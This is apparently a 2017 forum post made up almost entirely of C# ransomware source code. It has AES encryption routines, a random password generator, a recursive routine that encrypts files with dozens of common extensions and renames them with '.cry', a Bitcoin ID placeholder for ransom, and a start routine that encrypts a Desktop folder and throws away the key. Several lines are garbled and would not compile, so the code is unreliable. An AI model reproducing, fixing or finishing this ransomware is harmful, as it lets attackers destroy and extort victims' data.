05-21-2017, 02:48 AM
Kod:
Privateconst object SWP_HIDEWINDOW = 128;
Privateconst object SWP_SHOWWINDOW = 64;
PrivateDeclareAutoconst object HKEY_CURRENT_USER = 2147483649;
[DllImport("user32.dll")]
private static extern long SetWindowPos(long hwnd, long hWndInsertAfter, long x, long y, long cx, long cy, long wFlags);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 1;
private const int SPIF_SENDWININICHANGE = 2;
[DllImport("user32.dll")]
static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
[DllImport("user32.dll", EntryPoint="FindWindowA")]
static extern int FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private string sKey;
private string userName = Environment.UserName;
private string computerName = System.Environment.MachineName.ToString();
private string userDir = "C:\\Users\\";
private string BTC_ID = "<your_btc_id>";
Kod:
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] {
1,
2,
3,
4,
5,
6,
7,
8
};
using(MemoryStream ms = new MemoryStream()) {
using(RijndaelManaged AES = new RijndaelManaged()) {
AES.KeySize = 256;
AES.BlockSize = 128;
dynamic key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using(cs == new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
Kod:
public string CreatePassword(int length) {
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < System.Math.Max(System.Threading.Interlocked.Decrement(length), length + 1)) {
res.Append(valid(rnd.Next(valid.Length)));
}
return res.ToString();
}
Kod:
public void EncryptFile(string file__1, string password) {
byte[] bytesToBeEncrypted = File.ReadAllBytes(file__1);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file__1, bytesEncrypted);
System.IO.File.Move(file__1, file__1 + Convert.ToString(".cry"));
}
Kod:
public void encryptDirectory(string location, string password) {
dynamic validExtensions = new string[] {
".txt",
".doc",
".docx",
".xls",
".xlsx",
".ppt",
".pptx",
".odt",
".jpg",
".png",
".csv",
".sql",
".mdb",
".sln",
".php",
".asp",
".aspx",
".html",
".xml",
".psd",
".exe",
".backup",
".iso",
".sql",
".shtml",
".js",
".cpp",
".h",
".vb",
".frm",
".ini",
".log",
".asi",
".dll",
".c",
".htm"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i <= files.Length - 1; i++) {
string extension = Path.GetExtension(files(i));
if (validExtensions.Contains(extension) | validExtensions.Contains(extension.ToUpper) | validExtensions.Contains(extension.ToLower)) {
EncryptFile(files(i), password);
}
}
for (int i = 0; i <= childDirectories.Length - 1; i++) {
encryptDirectory(childDirectories(i), password);
}
}
Kod:
public void startAction() {
string password = CreatePassword(15);
string path = "\\Desktop\\test";
string startPath = userDir + userName + path;
encryptDirectory(startPath, password);
password = null;
}